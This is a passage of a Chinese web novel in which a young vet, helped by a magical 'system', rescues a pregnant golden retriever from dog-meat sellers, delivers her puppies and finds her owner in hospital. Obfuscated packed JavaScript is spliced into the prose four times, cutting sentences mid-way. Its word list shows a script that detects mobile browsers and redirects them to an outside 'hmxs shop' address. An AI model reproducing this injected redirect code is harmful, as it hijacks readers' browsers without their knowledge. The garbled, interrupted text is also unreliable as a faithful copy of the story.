它被女人带着去了一趟医院，回来之后，家里的两个大人又吵了一架。 “卷卷，对不起……” 事后，女人边流泪边抱着它，絮絮叨叨，最后勉强从眼泪里扯出一个笑，问：“卷卷愿意生宝宝吗？” 它看着闻起来苦苦的人类，把爪子搭在了她的手上。 “呜。” 家里的硝烟因为它的温顺又一次熄灭了。 它变得越发懒散，喜欢安静，但又有点敏感，尤其是在家里的男人和最近才出现的年长女人靠近时，它会控制不住地龇牙，只有当女人出现时，才会又乖巧起来。 在女人不在时，家里的另外两个大人总会盯着它，说些什么。 再一睁眼，它出现在一个狭小的铁笼里，而周围全都是它不认识的陌生狗狗，它们挤在一起，这里没有光，却一直在颠簸。 有的狗还在叫唤，有的狗却安静得像是死了一样。 “呜——” 它也在叫，叫到四周不再颠簸，叫到铁笼被陌生的人类搬走，直到听见一声划破空气的尖叫声，看到不远处原本还和它对视过的新鲜尸体时，它不叫了。 它变得很安静，甚至被拖出笼子放在木板上时都没怎么挣扎。 “啧，这只不行，得先等等。” “咋了？有什么问题？” “揣崽了，不好开刀，等几天再说。” 于是它最后等到了女人找上门。 一开始它趴在笼子里，听不进任何声音，直到一个熟悉的气味冲破浓重的同类血味，来到它的面前，啪的打开了铁笼。 “搞什么，买不起还想抢啊……” “就是，没给钱别想把狗带走。” 它一时认不出身前究竟是谁，只知道这几天熟悉的几名屠夫正在靠近，它被吓得趴伏在地上不敢动弹，却被人猛地提起身子，在耳边大喊： “卷卷快跑！快跑起来！” “不要留在这里，快跑！” 这下它认出来了。 它本能地往风能够吹进来的方向跑，女人一开始紧跟着它，却在入口处忽然停下，转身大喊：“我怀孕了！你们有本事就推我！从我身上走过去！不然都别想出去！” 院子里的其他脚步声陆续停下了。 “搞什么啊大姐，一条狗而已，你疯了吧？” “算了价格好商量，你最开始说能给多少来着……” 这些交谈的声音被它远远抛在身后。 可它现在要去哪里？ 呼呼的风刮过它身上的毛，它逐渐感觉到疲惫，感觉到饥饿，感觉到疼痛，可它却不敢停下，只是一味地往前。 它好累，它好想停下。 就在这时，右侧传来一声尖锐的鸣笛声，而它也如愿以偿地永远停下了。 “……！” 共鸣结束，温礼直接站了起来。 虽然这次的情况比上次还要紧急，但他反而不能贸然出发。 “系统，这次的目标是一只怀孕应激的金毛犬，它现在正在马路上逃跑，即将被右侧驶来的大货车撞上，落地后我需要第一时间帮助它停下，现在我需要准备什么？” 他尽可能语速快地和系统说明情况，寻求建议。 【好的宿主，请跟随指引找出毛毯，牵引绳，以及一些味道较大的即食肉类，半分钟后将安排传送。】 温礼立刻冲进系统标注的房间里。 最后将几根鸡肉肠揣进口袋里，眼前的视野便瞬间切换，他出现在了一条无人的马路旁。 左右环顾，不远处就是一个岔道口。 心一紧，温礼立刻远眺，发现另一条岔道的尽头正驶来一辆大货车，又结合方才情景中的视角分析，温礼确定自己成功传送到了狗狗逃跑的那条路，并且还在它的前面。 得出这个结论，温礼总算稍微松了一口气。 最致命的危险因素可以提前回避，接下来，他只需要拦住狗把它带回诊所就好。 “系统，等会我应该怎么拦住它？” 趁还有一点时间，温礼连忙询问系统具体的操作。 【首先，请宿主保持冷静……】 很快，温礼就听见了清脆的脚步声。 狗爪在水泥地上的声音非常独特，咔哒咔哒的，有点像是材料特殊的小高跟会发出的声音。 温礼终于看见了此行的救助目标——

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756506|190072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一只毛发脏乱沾血的金毛犬正向他的方向“跑来”，它的眼神空洞，迈着沉重的脚步，正面看过去它略有隆起的小腹正随着运动而晃动，看着格外让人揪心。 它其实根本跑不快，近乎是走动的速度，但它却不敢停下。 “卷卷，没事了，不用跑了。” “好狗狗，别怕，我是来帮你的。” 温礼尽力柔和地呼唤着它的名字。 在它与温礼之间短短的一小段路上，已经提前扔了好几块掰好的鸡肉肠，试图用食物吸引狗狗停下。 可金毛却像是听不见他的声音那样，只一味地往前，甚至直接略过了地上的食物。 而随着距离的拉近，温礼发现金毛身上沾的血不止是这几天被屠宰的同类的血，还有它自己下身滴落的血。 温礼的心微微提起。 柔性的引导是无法安抚这只极度受惊的狗狗了，为了防止狗狗继续往前，他必须直接控制住它。 方才系统已经简短地告诉他动作的要领，但这些都是理论知识，现实里他从没试过控制一条这么高的中大型犬，尤其眼前的这只狗狗还处于怀孕和应激叠加的，既脆弱又有一定攻击性的状态下。 但越是这样，他越不能紧张，越不能害怕。 人的恐慌是会传染给狗狗的，他现在需要保持冷静，他必须冷静。 温礼深呼一口气，将手里的毛毯折叠好，注视着正缓慢靠近他的金毛犬。 在脑内不断默念着系统所说的动作要领，下一秒，他看见狗狗身上出现了与昨天手术时类似的高亮提示和箭头，场景也在这一刻突然简化般，一切线条都变得分外清晰。 叮—— 跟随着指引的第一个校准条，温礼动了。 他双手捏着毯子的两个角，用毛毯迅速而稳定地将此刻跑过他面前的狗狗罩住，毛毯罩住了狗狗的整个前半身，没等狗狗反应过来，他又整个人轻轻压上去，避开腹部，用大半个身体和手臂从侧面抱住了狗狗。 金毛的耳朵和眼睛都被一层柔软的布料罩住，它骤然失去了对外界的感知，来不及紧张，就感觉到身上被紧紧包裹的安全感，温暖而坚定。 “没事了没事了，卷卷别怕。” “你的主人让我来救你，别怕，我不是坏人。” “不用跑了，可以休息了，让我来帮你吧。” 它终于听见了耳边持续不断的温柔话语。 紧接着，一只手伸进它的脖颈下，摸索着为它套上了熟悉的牵引绳，它久违感到了一点安心，不再挣扎，而是在毯子的包裹中委屈地叫了一声： “汪呜……” 真的成功安抚下来了！ 温礼终于松了口气，他手上依旧在不断地抚摸安慰着狗狗，没松开手里的毯子，与此同时示意系统可以开启传送回诊所。 【好的宿主，请确保救助目标与您的接触。】 他们成功回到了温暖的诊所室内。 幸好系统的传送并不像坐车或坐电梯那样有实感，不然才被安抚下来的狗狗指定又会感到不安。 但轻松不过一秒，金毛接下来的检查结果让气氛再度紧张起来—— B超片子显示狗狗体内已经有胎儿出现胎停，还有一只正卡在产道里，胎心微弱，情况紧急，必须立刻进行剖腹产手术。 5. 幼崽 再次换上手术服套装站在手术台前，温礼已经驾轻就熟了。 在检查确定金毛的状态之后，眼下唯一的解决方案就是立刻进行剖腹产手术，将子宫内的胎儿们取出，消除当前危急情况对母体造成的威胁，并尽可能解救有机会存活的胎儿。 【系统会全程辅助，严密监控金毛犬各项生命体征，请宿主加油。】 “我会的，希望一切顺利。” 温礼看着已经被麻醉后躺在手术台上的卷卷。 几分钟前，确定要进行手术时，他还特地和这只可怜的狗狗说了一声，狗狗安静而温顺地看着他，仿佛知道他要做什么，轻轻嘤了一声。 那样信任的眼神，出现在那双疲惫而灰暗的眼里，实在让人揪心。 “等下估计会很忙呢。”正式开刀前，温礼这么佯装轻松地说，“又要看孩子，又要看妈妈的。” 【系统会发挥好助手的工作，请宿主不必担心。】 “好，努力发挥你冷不丁夺舍机器人吓我一跳的工作吧。” 温礼开了个玩笑。 昨天第一次手术时他就发现了，虽然手术室里的各种设备智能些也算正常，但能根据他的操作需要实时递上工具帮他提东西按手术单甚至给他擦汗的灵活机械臂……喂这完全不正常吧！ 不过这样也好，相当于他有了个全能手术助手，不至于分身乏术。 温礼拿起手术刀。 深呼气再睁眼，眼前便出现了熟悉的模拟指引箭头，没时间犹豫了，他果断开始动刀。 “终于掏出来一只！但它怎么一动不动……” “这个颜色和气味是怎么回事……” “这只好像还有机会！系统快来帮忙！” “哦这只好像也可以！系统你来甩甩它！” “又是一个死胎……没了。” 胎儿和胎盘已经全部取出，确定没有遗漏，下一步就是缝合了。 不过在这之前，温礼犹豫了一下是否要顺便为这只狗狗进行绝育手术。 记得在共鸣期间，他依稀听过好几次卷卷的主人抱着狗狗反复承诺，说到时候带狗去医院生产时一定要帮它做绝育，哪怕狗狗可能因此影响哺乳也没关系，她会专门雇狗保姆帮忙照顾宝宝们。 不过那时候的温礼没去想这时候手术的事，只是通过狗狗的视角，又目睹了一次主人和家中其他人因此产生的争吵。 “你有完没完？一只狗你要供到天上去吗？？还给它请保姆，你有钱请吗你就说？？” “那不都是因为那时候你把它弄丢了！说了那你帮忙照顾你又不乐意！我怎么没有钱？如果没有因为怀孕后你逼我辞职我怎么会没有钱！” “行行行，你孕妇了不起，别生气伤了孩子，狗的事到时候我们再说吧。” 从短暂的回忆中回神，温礼想了想，还是动手做了绝育。 既然主人有这样的强烈要求，本身绝育也对母犬更好，那现在就顺便做了，也避免卷卷未来二次开刀受罪。 毕竟，此刻他眼前的手术外挂也在不断高亮标注，提示他将狗狗的子宫切除，证明这是一个相对正确的选择。 …… 手术历经近一个小时，终于结束。 卷卷暂时脱离危险，它主要的问题就是极度应激和几日的饥饿导致的难产，现在手术成功结束并接受营养补充和抗生素预防感染后已经彻底安全，只需要静静等待术后康复即可。 现在摆在温礼面前的是对新生幼崽的护理。 金毛犬平均一胎能生6只小狗，不过初产母犬一般会少一点，大概在4-6只。 卷卷作为初产母犬原本一共孕育了5只宝宝，遗憾的是，因为生产前一系列的冲击，这些宝宝最终只幸存了2只，还是在温礼和系统的努力下抢救回来的。 巴掌大的狗宝宝，就连叫声都很微弱。 剖腹产加绝育有可能影响母体对幼崽的态度，在卷卷苏醒并愿意接受幼崽前，温礼都需要替它照顾它的宝宝。 “又需要定闹钟喂奶了，好吧。” 温礼早就做好心理准备了，看着保温垫上睁不开眼的幼崽，他脱下身上的工作服，去另一个房间准备冲奶。 幸好诊所的储藏室里本来就有宠物专用的羊奶粉和奶瓶，不需要额外出去买，来都来了，温礼顺手也把给猫咪的午餐准备好了。 短短两天不到，诊所里竟然多了五只病号，都拖家带口的。 刚冲好的羊奶还需要点时间降温，温礼就先去喂猫。 “喵——” 一推开门，他就听见了小猫热情迎接他的叫声。 “喵呜呜，喵呜呜……” 当然，温礼看着笼子里埋头苦吃的小家伙笑了笑，也可能是在热情迎接他的饭。 小猫恢复的速度很快，可能这就是狸花猫的天赋吧，先前饿了好几天它都还有劲钻垃圾桶到处觅食，现在做完手术能正常吃东西可不就立马生龙活虎了。 温礼又去看氧气舱。 和早上出发时一样，猫妈还在睡，虽然虚弱的模样看得人紧张，但右侧屏幕上显示的各项数值还算稳定，它应该正在努力和体内可能的炎症危机对抗着。 “喵。” 温礼准备离开，听见声音扭头却看见笼子里的小猫爪子搭在笼子上，目光灼灼地看着他。 “怎么了？你想出来吗？” 他玩笑似的问道，没想到笼子里的小猫又喵了一声。 温礼思考了一下。 看状态，小猫现在差不多已经康复了，的确可以不用关在笼子里，不过他还记得小猫钻过垃圾桶，就这样让它到处乱跑也不行。 “那等会我带你去洗个澡，洗完你就可以出来了，你愿意吗？” “喵！” 温礼姑且算它答应了。 拿着温好的羊奶，温礼又马不停蹄地去另一个房间里喂小狗。 幼崽真的太小了，他有点无从下手，生怕自己哪里用力重了弄伤小狗，好不容易才将幼崽摆好姿势，扶起它的脑袋，将奶嘴送到它嘴里，见小家伙终于开始吃奶，温礼终于松了口气。 吃完还没完，在系统的提醒下，温礼才知道喂完奶竟然还要给小狗拍嗝。 “幼崽真是太脆弱了。” 抱着小狗拍奶嗝，他忍不住感慨。 【是的，尤其是经历过难产的幼崽，稍不留心就可能导致死亡。】 【正因如此，人工饲养这样的幼崽需要花费更多的精力，希望宿主尽力而为，不要勉强。】 温礼：“问题不大，谁没熬过几个夜呢。” 温礼：“现在的强度还不如我几个月前肝论文在答辩前一周被失踪回归导师批评选题因此从零开始选题调研肝数据写资料分析来得大。” 他仔细回味一下，感慨：“要是知道费劲写完论文拿到学位出来也没岗位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756507|190072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要，那一周就不熬夜了。” 系统沉默片刻，真诚地说。 【宿主您很厉害。】 “所以啊，现在这个工作量对我来说根本不算什么。”边说，温礼边开始帮忙刺激幼崽排泄，“而且现在做的每一件事都很有意义，这可比在论文里水字数有趣多了。” 终于走完了一次喂奶流程，温礼把肚子鼓鼓的幼崽放回保温垫上，见原本闹腾的两只小家伙打着哈欠在柔软的垫子上依偎着睡着，感觉非常欣慰。 温礼：“我还是挺有哄幼崽的天赋的，是吧？” 【是的宿主，您的表现非常完美。】 温礼：“谢谢，这也多亏了你的帮助，你的表现也非常出色。” 【谢谢宿主，系统会时刻监测诊所动物的状态，为您分担压力。】 照例和昨天才认识但已经轰轰烈烈合作了两次的系统进行简单的商业互吹，温礼这会终于闲了下来，想起方才和小猫约好的洗澡事宜。 “久等啦，我来带你去洗澡啦。” “喵呜~” 网上把狸花猫说得神乎其神，说它聪明独立有野性，是唯一会“弃养”人类的猫。 温礼确实感觉这只小狸花很聪明，不过也很黏人。 在洗澡过程中，虽然小猫有点不喜欢水，但既没有逃跑也没有挠人，只是在温礼往它身上抹沐浴露搓泡沫时忍不住支起上半身趴在人的肩膀上，耷拉着胡须，拉长声音叫唤，脑袋伸长着到处张望，就像是感应到了什么雷达信号似的。 “马上就好，马上就好。” 第四个马上之后，温礼终于把猫洗好。 他的衣服也几乎全湿了，把猫塞进诊所自带的宠物吹风箱，他自己还去后面换了身衣服。 之后，就是在大厅里等猫吹干，吹干后放猫出来熟悉环境坐在沙发上陪猫玩，期间温礼又去里面房间喂了一次奶。 这段时间内，第二次任务完成的奖励也顺利发放了，奖金1000和一些宠物玩具……依旧没有奇迹因子掉落。 “这爆率也太低了。”温礼忍不住碎碎念，“这玩意有概率公示吗？有保底吗？连新手福利都没有吗？” 【这方面系统并不能控制，也并没有所谓概率。】 闻言，系统似乎也有点尴尬。 【系统只能保证稳定提供现金及实物奖励……很抱歉，宿主。】 “没事没事，能理解，毕竟是能改变现实的概念神器嘛。” 温礼摆摆手，他转而举起正在他身上练习障碍跳远的小狸花，望着那张懵懂的小猫脸，玩笑似的说：“来来，你和我一起祈祷下次多掉落一点奇迹因子，助力你妈妈早点好起来。” 小猫闭上眼张大嘴巴叫唤：“喵——” 它叫得很用力，整个毛茸茸的小脸都在细细地抖动。 猫身上香香的，暖干的毛软软滑滑的，像一块松软可口的小蛋糕，温礼实在没忍住，把头埋进去吸了一口。 本应该被所有猫咪排斥的行为，小猫却只是疑惑地咕噜了一声，随后干脆将错就错，把下巴和爪子都轻轻搭在了人类的脑袋上。 好幸福，这里是天堂吗？ 温礼开始觉得已经没有什么能让他和这只小狸花软绵绵的肚皮分离了—— 【宿主，那只金毛犬正在苏醒，您要去看看吗？】 温礼深呼气，眼神变得清明。 嗯，但话又说回来了。 6. 交流 等温礼走进房间，就看见角落里的狗狗正慢慢地抬起头。 那双眼睛有些混沌，才从麻醉效果中苏醒，卷卷似乎忘记了成功获救和进入诊所后的事，显得有些慌张和恐惧，见有人走进房间，浑身一抽，嘤嘤地发出抽气声来。 见状，温礼立刻停住不再靠近。 “卷卷别害怕，还记得我吗？” “别紧张，我不是坏人。” 他半蹲着，降低自己身形的威胁性，隔着很远和狗狗小声交谈。 不知道是他的做法起效了，还是麻醉效果消散后狗狗认出他了，很快，卷卷便不再发出警惕恐惧的声音，而是轻轻地哼唧了一声。 “好狗狗，相信我了吧？” 温礼终于能够靠近，他蹲下身，试探地将手递向狗狗的鼻子附近，见卷卷闻完他的气味后就开始摇尾巴，总算放下心，轻柔地摸着狗狗的背。 “真棒，卷卷生了两只宝宝呢。” “呜……” “卷卷好好休息，我会照顾好你们的。” “呜呜。” “饿了吗？等会我给你带，卷卷想吃什么？” “呜？汪！” 狗狗湿漉漉的黝黑眼瞳一眨不眨地望着眼前的人类，在接连的问话中，它变得越来越放松，最后终于忍不住，伸出舌头舔了舔人类的手心。 它的舌头和它的鼻子一样，有点干干的。 温礼：“哈哈，知道了，等会给你多带点水。” 温礼：“好好休息，别怕，你已经安全了。” 狗狗听完后温顺地回应了一声，它彻底放松下来，目送人类推门离开后便放松肩膀重新倒回地上，它终于可以毫无负担地好好休息一会了。 而离开房间后，温礼有些哭笑不得地看着忽然扑到他身上，动着鼻子认真嗅闻的小猫。 “怎么了？你闻出什么了？”他好笑地问，托着小猫的屁股往储藏室走，“里面是一只受伤的狗狗和两只刚出生的狗宝宝，怎么了？你讨厌狗吗？” 小猫叫了一声：“喵！” 听起来还真有点义愤填膺。 温礼打开柜子，准备给卷卷配制一份产后营养餐，听到猫叫后无奈地说：“不行，你讨厌也没用，诊所这里可不允许物种歧视，而且，那几只狗狗也很可怜。” 小猫从人的身上跳下来，趴在桌上看他配餐。 系统告诉温礼狗狗产后24小时内最好喂一些简单的流质食物，此时进食的目的主要是防止狗狗脱水，于是他拿了葡萄糖水和一些宠物电解质水，为了保证营养又加了点稀薄的鸡肉粥和一点营养膏。 小猫歪着头打量这碗“清澈”的食物：“喵？” 温礼提醒它：“不能偷吃哦，这是给产妇的营养餐，而且肉都稀成这样了你还想吃？” 小猫盯着碗叫了一声：“喵。” 温礼还是摇头：“不行，你要是又饿了的话，我等会给你单独开个猫咪罐头。” 小猫收回爪子：“喵！” 【宿主，您原来能和动物交流吗？】 这时，脑内响起了系统有些犹豫的问话。 温礼疑惑地应了一声：“不能啊，那不是漫画里才有的超能力吗？” 【……可是，你们方才的对话似乎很流畅。】 温礼：“这个啊，很多人都会跟小动物这么聊天吧，至于到底两边听没听懂就见仁见智了。” 提到这个话题，他倒是忽然来了兴趣：“话说，如果有奇迹因子，能让人和动物交流吗？” 系统思考了一会。 【如果是要求完全共通人类所拥有的复杂语言体系，理论上不可能达到，但如果是要求共通其他传递信息的形式，以动物之间已有的方式交流，或许可以。】 “你的意思是，虽然我没办法用人类语言直接和它们说话，但我或许能发出动物的叫声，并且听懂它们的叫声含义。” 【这么理解没有太大的问题，不过需要强调，这个可能性依旧极低。】 “可能性低没事，这不就是奇迹因子需要发挥的作用嘛！” 得知了这样的可能，温礼有些兴奋，作为动物热爱者，谁还没畅想过和动物无障碍交流的场景呢？ 真想知道那些纪录片的镜头里，动物是否像旁白所解读的那样有着丰富复杂的情感啊。 要是下一次任务能掉落奇迹因子就好了。他想。 备餐完毕，温礼拦住了想和他一起进房间的小狸花，嘱托它在门外等好，自己推门进去。 “呜——” 终于等到人，卷卷摸索着抬起了大半个身子张望，这可把温礼吓了一大跳，连忙走到笼子前把狗按下。 “别急别急，我来喂你。” 他用勺子舀着营养餐送到狗狗嘴边，狗狗则温顺地伸出舌头舔舐，很快碗里便直接见底。 温礼还想着要不要再去给卷卷配一份营养餐，可下一秒，旁边保温垫上的两个狗崽子忽然嘤嘤叫出声来。 幼崽的叫声总是极具穿透力的，像是两个尖叫的小玩具。 算算时间也该喂第二次奶了，温礼起身准备去泡奶，结果这时候笼子里的卷卷忽然焦急起来，支起身子，顶着个伊丽莎白圈左右张望。 温礼：“咦？你在找你的宝宝吗？” 卷卷：“呜！” 温礼：“你刚做完手术呢，肚子不疼吗？我帮你喂就好了。” 卷卷：“汪呜……” 见状，温礼只能抓起一只闭着眼睛大叫的狗宝宝，试探地放在卷卷的面前，见狗狗没有排斥，甚至直接伸出舌头开始舔舐宝宝，便又将狗宝宝放到它的腹部。 才做完剖腹手术的狗狗肚皮上光秃秃的，中间有一道长长的缝合线，裹着一层格子状的腹带保护伤口，空隙刚好能留出位置哺乳。 温礼观察着卷卷的反应。 全程卷卷都表现得出乎意料的温顺，没有任何排斥，甚至直到被放到腹部的狗宝宝开始吸奶踩奶，它依然非常安静。 “好狗狗。”温礼忍不住摸了摸它的脑袋，“你愿意照顾宝宝是不是？你怎么这么乖？” “呜……” 卷卷安静地侧卧在地上，随着幼崽的吮吸，它其实有露出过一点忍痛的表情，眉头轻轻皱起，但它既没有赶走幼崽，也没有冲着人类发火。 温礼有些心疼了。 他在想，难道卷卷听懂了曾经主人之间的争吵，所以哪怕现在又累又疼也不敢让人帮忙照顾它的孩子，怕自己被嫌弃和讨厌吗？ 温礼问它：“卷卷，你想你的主人吗？” 和昨天救助的两只猫咪不同，卷卷是有主的狗狗，虽然那一幕场景显示狗狗疑似被卖给狗肉贩，但看女人怀着孕都要闯进来把狗狗救走的架势，她肯定是不知情的。 但除了她以外，家里的其他人或许都不喜欢狗狗。 所以当卷卷的伤好了之后，它的去留就成了一个问题。 “汪呜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756508|190072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 听见熟悉的词，卷卷抬起头，叫了一声，温礼能看见它眼里有一点光，显然它也还深深依恋着主人。 真难办啊。 “如果把卷卷养好送回去，真担心哪天又被卖了。”坐在大厅沙发上，温礼苦恼地和系统说，“女主人毕竟是个孕妇，越到后期越虚弱，照顾自己都很困难，很难顾忌狗狗吧。” 【这确实是一个难题。未经允许强制收留这只有主的金毛犬并不道德，但将它送回原主人家里，却有一定可能重蹈覆辙，再次陷入险境。】 系统这么分析着，不过它依然没有给温礼任何决策压力。 【但无论如何，宿主必要的救助任务已经完成，除此以外的内容并没有任何约束，您可以自由选择。】 温礼想了想。 将爬到他腿上的小狸花揉得尾巴毛完全炸开之后，他终于得出结论： “干脆我去找一趟卷卷的主人，和她当面商量吧！” 不同于和小猫共鸣时所见的模糊场景，卷卷的视角里有明确的小区名和楼栋号，温礼明确知道卷卷和他位于一个城市，甚至知道卷卷常去的狗狗乐园叫什么名字，所以想找到它的主人是没问题的。 他掏出手机，开始凭记忆里的发音输入小区名字检索，接着比对小区的照片，很快锁定了一个名为“富民小区”的小区。 从这里打车过去只需要半个小时左右。 温礼当即准备出发，不过在此之前，他先挨个检查了诊所内小动物的状态，确定既不需要他喂食也不需要他补点滴后便放心地关门离开。 他逐渐走远，而门后的小狸花对着他的背影挠了挠门，随后仰起脑袋，盯着上方的门把手。 - 【宿主……】 当温礼坐了几分钟车时，他听见了脑海中系统迟疑的声音，他假装接了个电话，问：“怎么了？” 【诊所里的那只狸花猫似乎对大门有一点想法，它正在试图够门把手。】 温礼吓了一跳：“它想出去？你能拦住它吗？” 【正在调动合适的设备——很抱歉，宿主，它已经打开门了。】 温礼一时间不知道该说什么。 卷卷是有主人的狗狗，所以他一直都没有其他心思，但对这只被他洗香香的亲人小狸花，他是有起过收养的心思的……结果还是更喜欢自由吗？ 这就是被狸花猫弃养的感觉吗？好心酸。 温礼惆怅着，结果下一秒，他听见系统忽然又开口，语气有点奇怪。 【宿主，猫咪又回来了，它跳到了沙发上，它正在清理爪子……它睡着了。】 【恭喜宿主，猫咪没有跑。】 前后转折也不过十分钟。 温礼满头问号：“它到底出去干什么了？” 系统也有些无奈。 【抱歉宿主，系统实时监控范围局限于诊所，并不能知道诊所外发生的事。】 温礼：…… 算了，猫没跑就行。 将诊所有惊无险的插曲暂时抛到脑后，温礼很快到达了卷卷主人所在的小区，小区管理不算严格无需刷卡可以直接进入，所以他一路畅通无阻地来到了门前。 “咚咚咚。” “咚咚咚。” 无人回应。 温礼疑惑地皱起眉。 担心吓到孕妇，他一开始敲得还很小声，但再小声这么多遍也应该来人了呀，难道这家里一个人都不在？ 7. 病床 什么情况，会让这一大家子的人都不在家呢？ 温礼顿时想到了一个有点不妙的可能。 他希望事情不是自己猜想的那样，但出小区后，他还是选择打车前往了附近的一家妇产科医院。 突发奇想的结果就是，当护士站护士问他病人名字时，温礼卡壳了。 翻阅卷卷的记忆，几乎没有女主人的名字，在狗狗面前她总是自称妈妈，也只有在和丈夫或者婆婆吵架的时候，可能会出现她的名字。 但在这些时候狗狗都会很害怕，记忆里也都聚焦于主人的哭声和各种混乱的声音，只模模糊糊能听到几个音节。 “我记得名字里应该有个颖字，姓王……”对上护士怀疑的目光，温礼硬着头皮说，“大概是今天上午住院的，您能帮我看看有没有吗？” 护士在键盘上敲敲打打：“知道具体的科室或者其他信息吗？” 温礼：“呃……” 是妇科还是产科还是急诊科，这种理论知识他根本不知道啊！ 他正打算向系统求助时，却忽然看见一楼不远处的电梯口走出来两个熟悉的身影——正是卷卷主人的丈夫和婆婆，这两人看起来怒气冲冲，嘴里止不住地抱怨着什么。 他们看起来才从病房里出来。 温礼连忙示意护士：“我要找的就是这两位家属的病人，我是他们邻居，平时有一点来往，听说这家的女主人可能……刚好路过这里，所以想来看看，慰问一下。” 这番说辞还是有点模糊，换个严格一点的护士可能依旧要追问几句，但瞧见他指的两人，护士的脸上露出了一点了然的表情，竟然真的松口了。 “这两人真是，哪有产妇流产后一直在病房里吵的，还摇人来骂！”护士说着，颇为义愤填膺，“病人躺在病床上虚弱得不行还在骂，真的很过分！我听了一段，他们也不占理啊就一直骂，真受不了。” 她立刻指路：“来个其他人安慰一下也好，你去吧，9楼。” “好，谢谢！” 温礼向护士道了谢，往电梯方向走，期间与那对不断咒骂的母子擦肩而过，因为那些词语的使用而皱起眉。 骂得也太脏了。 只是听了零星的几句他这个旁观者都感觉不爽，难以想象直面这些的人。 当温礼按照护士报的病房号推开房门时，一眼就看见了靠近门这侧病床上的女人，不同于卷卷视角下的高大，她现在看上去格外憔悴，脸色苍白。 哪怕有人推门她也没扭头，只是低着头，盯着自己身上的被子。 “你好？” 温礼试着引起她的注意，但女人依旧没有看他，他只能直入主题：“你好，我上午捡到了一条怀孕的金毛犬……” 话还没说完，这两个关键词就直接让王晓颖猛地抬头。 …… “是的，现在它成功生了两只小狗，母子平安。” 温礼坐在床边的椅子上，给女人看他手机里拍摄的卷卷哺乳幼崽的视频，“原本是五只小狗的，但它被发现时状态很差，剖腹产出来有三只小狗都已经死掉了，现在的两只小狗也是抢救回来的。” “对了，因为过程中发现它子宫有点问题，所以一并做了绝育。” 他将手术内容尽数讲清楚，有点担心这些擅作主张会不会被狗主人埋怨几句，但女人只是不可置信地注视着手机屏幕，随后簌簌地流下眼泪。 王晓颖：“谢谢，谢谢您……！” 王晓颖：“我一直在想我还是没救下它，但它现在还活着，谢谢您，真的非常感谢……” 说着女人甚至想下床，温礼连忙拦住。 “不不不，不至于。”他心跳都加快了，“顺手的事，狗狗很乖很配合，谁看了也不忍心，都会帮忙的。” 等女人的情绪略微缓和，温礼才再次开口：“狗狗现在状态不错，已经愿意自己照看幼崽了。我看它不像是流浪狗，所以就花时间找了一下主人，就找到你了。” 王晓颖连连点头：“真的麻烦您了，谢谢。” 她丝毫没有怀疑这个说法，同一区域的养狗人彼此之间都很熟悉，对方又是一名兽医，随便问一些狗友就可以凭狗找人，找到她这里是分分钟的事。 温礼斟酌着，又继续说：“原本，我是打算找到主人就把狗送回去的，但没想到最后竟然找到医院里来了……我能知道今天发生了什么吗？” “可以，没问题。” 王晓颖此刻对他已经是完全信任了，于是他得知了事情的全貌。 比卷卷视角下的故事更丰富一些，自从王晓颖怀孕后，她的丈夫以及后来过来的婆婆就一直很嫌弃她养的狗，第一次假装意外把狗弄丢，导致狗狗不小心怀孕，第二次直接把狗卖给了狗贩子。 好在，这次发现后她第一时间问出了位置，及时赶到了现场。 她先是提出买回自己的狗，结果那几个狗肉贩见她着急反而坐地起价，直接开出四位数高价，她手上根本没那么多钱，绝望之下只能拉着狗狗跑，自己站在门口拖延时间。 她那时候想的是，自己随便拖一会就好，等会就脱身去找狗狗，但不知道是不是太过激动，没一会她的肚子就开始疼，随后便昏倒进了医院。 她丈夫有点弱精，这一胎从最开始就很不稳，或许正因为这样，他们才一直针对她的狗。 “嗯，现在孩子没了。”王晓颖坐在病床上，语气意外地平静，“这样也好，方便我之后离婚。” 温礼听得唏嘘：“加油。” 这还是自苏醒以来王晓颖收获的第一个鼓励，她的眼眶微红，低声道谢：“谢谢你，现在知道卷卷还活着，我更想要赶快离婚，给它一个安全的家了。” 她抹了抹眼睛，像是想到什么，忽然将手上的金手镯用力扯了下来，递给病床边的青年。 “在此之前，我想把卷卷暂时寄养在你们那里可以吗？我现在身上没有多少可以用的钱，先用这个抵押可以吗？” 她又补了一句：“这是我在结婚前自己买的，应该不用担心离婚时被要回去。” 温礼没打算要。 “没关系，到时候来接狗的时候，你再结清费用就好了。”他推回了手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 